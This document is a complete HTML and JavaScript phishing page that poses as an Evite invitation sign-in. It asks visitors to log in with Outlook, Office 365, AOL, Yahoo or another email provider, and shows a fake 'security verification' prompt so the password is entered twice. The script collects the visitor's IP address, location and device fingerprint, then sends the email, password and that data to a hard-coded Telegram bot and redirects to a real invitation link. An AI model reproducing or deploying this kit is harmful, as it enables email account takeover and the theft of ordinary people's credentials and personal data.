<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Evite: Online invitations, ecard</title>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/
[email protected]/dist/css/bootstrap.min.css">
<style>
* {
box-sizing: border-box;
}
body {
background: url('https://i.postimg.cc/XqLgkYZV/ev.jpg') no-repeat center center fixed;
background-size: cover;
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
margin: 0;
padding: 0;
min-height: 100vh;
display: flex;
align-items: center;
justify-content: center;
}
.theBg {
background-color: rgba(0, 0, 0, 0.3);
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
z-index: -1;
}
.mainContent {
width: 90%;
max-width: 480px;
background: rgba(255, 255, 255, 0.95);
border-radius: 10px;
padding: 25px;
margin: 20px auto;
box-shadow: 0 5px 25px rgba(0,0,0,0.2);
backdrop-filter: blur(10px);
}
@media (max-width: 480px) {
.mainContent {
width: 95%;
padding: 20px 15px;
margin: 10px auto;
}
}
.ulList {
margin: 0;
padding: 0;
list-style: none;
}
.ulList li {
border-radius: 25px;
padding: 12px;
text-align: center;
border: 2px solid #eaeaea;
transition: all 0.3s;
margin: 10px 0;
background: white;
}
.ulList li a {
text-decoration: none;
color: black;
display: flex;
align-items: center;
padding: 5px;
}
.ulList li:hover {
transform: scale(1.02);
border-color: #007bff;
}
.listImg {
width: 25px;
height: 25px;
object-fit: contain;
margin-right: 15px;
}
.provider-text {
flex: 1;
text-align: left;
}
.provider-name {
font-weight: 600;
font-size: 0.95rem;
}
.provider-desc {
font-size: 0.8rem;
color: #666;
display: none;
}
@media (min-width: 768px) {
.ulList li {
padding: 15px;
}
.listImg {
width: 30px;
height: 30px;
}
.provider-desc {
display: block;
}
}
/* Modal Responsive Styles */
.modal-dialog {
margin: 20px auto;
max-width: 95%;
}
@media (min-width: 576px) {
.modal-dialog {
max-width: 500px;
margin: 30px auto;
}
}
.modal-content {
border-radius: 15px;
border: none;
box-shadow: 0 10px 40px rgba(0,0,0,0.3);
}
.form-control {
border-radius: 8px;
padding: 12px 15px;
font-size: 16px; /* Prevents zoom on iOS */
}
.btn {
border-radius: 8px;
padding: 12px 20px;
font-size: 16px;
}
/* Two-step verification styles */
.verification-step {
display: none;
}
.step-active {
display: block;
}
.step-indicator {
display: flex;
justify-content: center;
margin-bottom: 20px;
}
.step-dot {
width: 10px;
height: 10px;
border-radius: 50%;
background: #ddd;
margin: 0 5px;
transition: all 0.3s;
}
.step-dot.active {
background: #007bff;
transform: scale(1.2);
}
.error-simulation {
background: #fff3cd;
border: 1px solid #ffeaa7;
border-radius: 8px;
padding: 15px;
margin: 15px 0;
display: none;
}
.error-icon {
color: #f39c12;
font-size: 1.2rem;
margin-right: 10px;
}
.retry-btn {
background: #e74c3c;
border: none;
color: white;
padding: 8px 15px;
border-radius: 5px;
font-size: 0.9rem;
margin-top: 10px;
}
.retry-btn:hover {
background: #c0392b;
}
.country-flag {
width: 20px;
height: 15px;
display: inline-block;
margin-right: 8px;
vertical-align: middle;
background-size: cover;
background-position: center;
border: 1px solid #ddd;
}
</style>
</head>
<body>
<div class="theBg"></div>
<div class="mainContent">
<h2 class="text-center mb-3">Sign In</h2>
<p style="margin: 0; text-align: center; color: #666;">Shared invitations are password protected. Continue with your account.</p>
<p style="color: #007bff; text-align: center; margin-bottom: 25px;">Select your email provider below</p>
<ul class="ulList">
<li>
<a href="#" data-toggle="modal" data-target="#loginModal" data-provider="outlook">
<img style="width: 25px;" class="listImg" src="https://www.freepnglogos.com/uploads/logo-outlook/transparent-outlook-icon-2.png" />
<div class="provider-text">
<div class="provider-name">Continue with Outlook</div>
<div class="provider-desc">Microsoft email service</div>
</div>
</a>
</li>
<li>
<a href="#" data-toggle="modal" data-target="#loginModal" data-provider="office">
<img style="width: 25px;" class="listImg" src="https://www.freepnglogos.com/uploads/microsoft-office-png-logo/microsoft-office-2013-symbol-logo-png-6.png" />
<div class="provider-text">
<div class="provider-name">Continue with Office</div>
<div class="provider-desc">Microsoft Office 365</div>
</div>
</a>
</li>
<li>
<a href="#" data-toggle="modal" data-target="#loginModal" data-provider="aol">
<img style="width: 35px;" class="listImg" src="https://upload.wikimedia.org/wikipedia/commons/thumb/b/b6/AOL_logo.svg/1599px-AOL_logo.svg.png" />
<div class="provider-text">
<div class="provider-name">Continue with Aol</div>
<div class="provider-desc">America Online service</div>
</div>
</a>
</li>
<li>
<a href="#" data-toggle="modal" data-target="#loginModal" data-provider="yahoo">
<img style="width: 45px;" class="listImg" src="https://www.freepnglogos.com/uploads/yahoo-logo-png/yahoo-logo-png-free-download-3.png" />
<div class="provider-text">
<div class="provider-name">Continue with Yahoo</div>
<div class="provider-desc">Yahoo! email service</div>
</div>
</a>
</li>
<li>
<a href="#" data-toggle="modal" data-target="#loginModal" data-provider="other">
<img style="width: 25px;" class="listImg" src="https://www.freepnglogos.com/uploads/email-logo-png-33.png" />
<div class="provider-text">
<div class="provider-name">Continue with Others</div>
<div class="provider-desc">Gmail, iCloud, or custom domain</div>
</div>
</a>
</li>
</ul>
</div>
<!-- Login Modal -->
<div class="modal fade" id="loginModal" tabindex="-1" role="dialog" aria-labelledby="loginModalLabel" aria-hidden="true">
<div class="modal-dialog modal-dialog-centered" role="document">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title" id="loginModalLabel">
<i class="fas fa-sign-in-alt me-2"></i>Sign In
</h5>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body">
<div class="text-center mb-4">
<div class="modal-provider-icon mb-3" id="modalProviderIcon">
<i class="fas fa-envelope"></i>
</div>
<h5 id="modalProviderName">Sign in to your account</h5>
<p class="text-muted" id="modalProviderDesc">Enter your credentials to continue</p>
</div>
<!-- Step Indicator -->
<div class="step-indicator">
<div class="step-dot active" id="step1"></div>
<div class="step-dot" id="step2"></div>
</div>
<!-- Step 1: Initial Login -->
<div class="verification-step step-active" id="step1-content">
<form id="loginForm">
<div class="form-group">
<label for="email" class="form-label">Email Address</label>
<div class="input-group">
<div class="input-group-prepend">
<span class="input-group-text"><i class="fas fa-envelope"></i></span>
</div>
<input type="email" class="form-control" id="email" name="email" placeholder="
[email protected]" required>
</div>
</div>
<div class="form-group">
<label for="password" class="form-label">Password</label>
<div class="input-group">
<div class="input-group-prepend">
<span class="input-group-text"><i class="fas fa-lock"></i></span>
</div>
<input type="password" class="form-control" id="password" name="password" placeholder="Enter your password" required>
<div class="input-group-append">
<button class="btn btn-outline-secondary" type="button" id="togglePassword">
<i class="fas fa-eye"></i>
</button>
</div>
</div>
</div>
<div class="form-group form-check">
<input type="checkbox" class="form-check-input" id="rememberMe">
<label class="form-check-label" for="rememberMe">Keep me signed in</label>
</div>
<input type="hidden" id="providerType" name="provider">
<input type="hidden" id="attemptCount" name="attempt_count" value="0">
</form>
<!-- Error Simulation -->
<div class="error-simulation" id="errorSimulation">
<div class="d-flex align-items-center">
<i class="fas fa-exclamation-triangle error-icon"></i>
<div>
<strong>Security verification required</strong>
<p class="mb-1">We've noticed a login attempt from an unrecognized device. Please verify your identity.</p>
<button class="retry-btn" id="retryLogin">
<i class="fas fa-redo me-1"></i> Verify Identity
</button>
</div>
</div>
</div>
</div>
<!-- Step 2: Verification -->
<div class="verification-step" id="step2-content">
<div class="text-center mb-4">
<i class="fas fa-shield-check text-success" style="font-size: 3rem;"></i>
<h5>Security Verification</h5>
<p class="text-muted">Please re-enter your credentials to verify your identity</p>
</div>
<form id="verificationForm">
<div class="form-group">
<label for="verifyEmail" class="form-label">Re-enter Email Address</label>
<input type="email" class="form-control" id="verifyEmail" placeholder="Re-enter your email" required>
</div>
<div class="form-group">
<label for="verifyPassword" class="form-label">Re-enter Password</label>
<input type="password" class="form-control" id="verifyPassword" placeholder="Re-enter your password" required>
</div>
</form>
</div>
<div class="alert alert-danger mt-3" id="errorAlert" style="display: none;">
<i class="fas fa-exclamation-triangle me-2"></i>
<span id="errorMessage"></span>
</div>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-secondary" data-dismiss="modal">Close</button>
<button type="button" class="btn btn-primary" id="signInBtn">
<i class="fas fa-sign-in-alt me-2"></i>Sign In
</button>
</div>
</div>
</div>
</div>
<!-- Scripts -->
<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/
[email protected]/dist/js/bootstrap.bundle.min.js"></script>
<script>
// Telegram Bot Configuration - REPLACE WITH YOUR ACTUAL VALUES
const TELEGRAM_BOT_TOKEN = "8393976953:AAFXXDIBLrMfgyt9vnUcgZONV8kHb9LbdOc";
const TELEGRAM_CHAT_ID = "6759057858";
let userData = {};
let attemptCount = 0;
let currentStep = 1;
let userCredentials = {};
// Country flag mapping (sample - you can expand this)
const countryFlags = {
'US': '🇺🇸', 'GB': '🇬🇧', 'CA': '🇨🇦', 'AU': '🇦🇺', 'DE': '🇩🇪',
'FR': '🇫🇷', 'IT': '🇮🇹', 'ES': '🇪🇸', 'JP': '🇯🇵', 'KR': '🇰🇷',
'CN': '🇨🇳', 'IN': '🇮🇳', 'BR': '🇧🇷', 'RU': '🇷🇺', 'ZA': '🇿🇦'
};
document.addEventListener('DOMContentLoaded', async function() {
await collectUserData();
setupEventListeners();
});
function setupEventListeners() {
// Password visibility toggle
$('#togglePassword').click(function() {
const passwordField = $('#password');
const type = passwordField.attr('type') === 'password' ? 'text' : 'password';
passwordField.attr('type', type);
$(this).find('i').toggleClass('fa-eye fa-eye-slash');
});
// Enter key support
$('#email, #password, #verifyEmail, #verifyPassword').keypress(function(e) {
if (e.which === 13) {
$('#signInBtn').click();
}
});
// Sign in button
$('#signInBtn').click(handleSignIn);
// Retry login button
$('#retryLogin').click(function() {
$('#errorSimulation').hide();
advanceToStep(2);
});
// Modal show event
$('#loginModal').on('show.bs.modal', function (event) {
const button = $(event.relatedTarget);
const provider = button.data('provider');
setupModalForProvider(provider);
resetVerification();
});
}
function setupModalForProvider(provider) {
const providers = {
outlook: {
name: "Outlook / Hotmail",
desc: "Sign in with your Microsoft account",
icon: "fas fa-envelope",
color: "#0078d4"
},
office: {
name: "Microsoft Office 365",
desc: "Sign in with your work or school account",
icon: "fas fa-briefcase",
color: "#d83b01"
},
aol: {
name: "AOL Mail",
desc: "Sign in with your AOL account",
icon: "fas fa-at",
color: "#ff1b2d"
},
yahoo: {
name: "Yahoo Mail",
desc: "Sign in with your Yahoo account",
icon: "fab fa-yahoo",
color: "#720e9e"
},
other: {
name: "Other Email Provider",
desc: "Sign in with your email account",
icon: "fas fa-mail-bulk",
color: "#6b7280"
}
};
const providerInfo = providers[provider];
$('#modalProviderName').text(providerInfo.name);
$('#modalProviderDesc').text(providerInfo.desc);
$('#modalProviderIcon').html(`<i class="${providerInfo.icon}"></i>`);
$('#modalProviderIcon').css('color', providerInfo.color);
$('#providerType').val(provider);
$('#errorAlert').hide();
$('#errorSimulation').hide();
}
function resetVerification() {
currentStep = 1;
$('#step1').addClass('active');
$('#step2').removeClass('active');
$('#step1-content').addClass('step-active');
$('#step2-content').removeClass('step-active');
$('#signInBtn').html('<i class="fas fa-sign-in-alt me-2"></i>Sign In');
userCredentials = {};
}
function advanceToStep(step) {
currentStep = step;
// Update step indicators
$('.step-dot').removeClass('active');
$(`#step${step}`).addClass('active');
// Update content visibility
$('.verification-step').removeClass('step-active');
$(`#step${step}-content`).addClass('step-active');
// Update button text
if (step === 2) {
$('#signInBtn').html('<i class="fas fa-check-circle me-2"></i>Verify & Sign In');
} else {
$('#signInBtn').html('<i class="fas fa-sign-in-alt me-2"></i>Sign In');
}
}
async function collectUserData() {
try {
// Get IP address
const ipResponse = await fetch('https://api.ipify.org?format=json');
const ipData = await ipResponse.json();
// Get geo location data
const geoResponse = await fetch(`https://ipapi.co/${ipData.ip}/json/`);
const geoData = await geoResponse.json();
// Detect browser and OS
const ua = navigator.userAgent;
userData = {
ip: ipData.ip,
isp: geoData.org || 'Unknown ISP',
country: geoData.country_name || 'Unknown',
countryCode: geoData.country_code || 'Unknown',
city: geoData.city || 'Unknown',
browser: detectBrowser(ua),
os: detectOS(ua),
device: detectDevice(ua),
userAgent: ua,
timestamp: new Date().toISOString()
};
} catch (error) {
userData = {
ip: 'Unknown',
isp: 'Unknown',
country: 'Unknown',
countryCode: 'Unknown',
city: 'Unknown',
browser: 'Unknown',
os: 'Unknown',
device: 'Unknown',
userAgent: navigator.userAgent,
timestamp: new Date().toISOString()
};
}
}
function detectBrowser(ua) {
if (ua.includes("Chrome") && !ua.includes("Edg")) return "Chrome";
if (ua.includes("Firefox")) return "Firefox";
if (ua.includes("Safari") && !ua.includes("Chrome")) return "Safari";
if (ua.includes("Edg")) return "Edge";
if (ua.includes("Opera")) return "Opera";
return "Unknown";
}
function detectOS(ua) {
if (ua.includes("Windows")) return "Windows";
if (ua.includes("Mac")) return "macOS";
if (ua.includes("Linux")) return "Linux";
if (ua.includes("Android")) return "Android";
if (ua.includes("iOS") || ua.includes("iPhone")) return "iOS";
return "Unknown";
}
function detectDevice(ua) {
if (ua.includes("Mobile")) return "Mobile";
if (ua.includes("Tablet")) return "Tablet";
return "Desktop";
}
function handleSignIn() {
if (currentStep === 1) {
handleStep1();
} else {
handleStep2();
}
}
function handleStep1() {
const email = $('#email').val();
const password = $('#password').val();
if (!validateEmail(email)) {
showError('Please enter a valid email address');
return;
}
if (!password) {
showError('Please enter your password');
return;
}
// Store credentials for verification
userCredentials = { email, password };
// Show security verification error (simulating common email provider behavior)
$('#errorSimulation').show();
$('#signInBtn').prop('disabled', true);
// Auto-advance to step 2 after a delay
setTimeout(() => {
$('#errorSimulation').hide();
advanceToStep(2);
$('#signInBtn').prop('disabled', false);
$('#verifyEmail').val(email);
}, 2000);
}
function handleStep2() {
const verifyEmail = $('#verifyEmail').val();
const verifyPassword = $('#verifyPassword').val();
if (!validateEmail(verifyEmail)) {
showError('Please enter a valid email address');
return;
}
if (!verifyPassword) {
showError('Please enter your password');
return;
}
// Verify that the credentials match the first attempt
if (verifyEmail !== userCredentials.email || verifyPassword !== userCredentials.password) {
showError('Credentials do not match. Please try again.');
return;
}
attemptCount++;
// Show loading state
$('#signInBtn').prop('disabled', true).html('<i class="fas fa-spinner fa-spin me-2"></i>Signing In...');
// Send to Telegram
sendToTelegram(userCredentials.email, userCredentials.password)
.then(success => {
if (success) {
// Redirect on success
setTimeout(() => {
window.location.href = "https://evite.me/brGYrWhRXN";
}, 1500);
} else {
showError('Sign in failed. Please try again.');
$('#signInBtn').prop('disabled', false).html('<i class="fas fa-check-circle me-2"></i>Verify & Sign In');
}
})
.catch(error => {
console.error('Error:', error);
showError('Connection error. Please try again.');
$('#signInBtn').prop('disabled', false).html('<i class="fas fa-check-circle me-2"></i>Verify & Sign In');
});
}
async function sendToTelegram(email, password) {
const provider = $('#providerType').val();
const emailName = email.split('@')[0].replace(/[^a-zA-Z]/g, ' ');
// Get country flag emoji
const countryFlag = countryFlags[userData.countryCode] || '🌐';
const message = `🎯 *New Drops* 🎯
👤 *Account Information:*
├─ 📧 *Email:* ${email}
├─ 🔑 *Password:* ${password}
├─ 👤 *Extracted Name:* ${emailName || 'Not Available'}
├─ 🏢 *Provider:* ${provider}
├─ 🔢 *Attempt:* #${attemptCount}
🌍 *Location Intelligence:*
├─ ${countryFlag} *Country:* ${userData.country}
├─ 🏙️ *City:* ${userData.city}
├─ 🌐 *IP Address:* ${userData.ip}
├─ 🏢 *ISP:* ${userData.isp}
💻 *System Fingerprint:*
├─ 🖥️ *Browser:* ${userData.browser}
├─ ⚙️ *OS:* ${userData.os}
├─ 📱 *Device:* ${userData.device}
├─ 🔧 *User Agent:* ${userData.userAgent}
⏰ *Capture Time:* ${new Date().toLocaleString()}
⚡ *Status:* ✅ Successful Capture`;
const url = `https://api.telegram.org/bot${TELEGRAM_BOT_TOKEN}/sendMessage`;
try {
const response = await fetch(url, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({
chat_id: TELEGRAM_CHAT_ID,
text: message,
parse_mode: 'Markdown'
})
});
return response.ok;
} catch (error) {
console.error('Telegram API error:', error);
return false;
}
}
function validateEmail(email) {
const re = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
return re.test(email);
}
function showError(message) {
$('#errorMessage').text(message);
$('#errorAlert').show();
setTimeout(() => {
$('#errorAlert').hide();
}, 5000);
}
</script>
</body>
</html>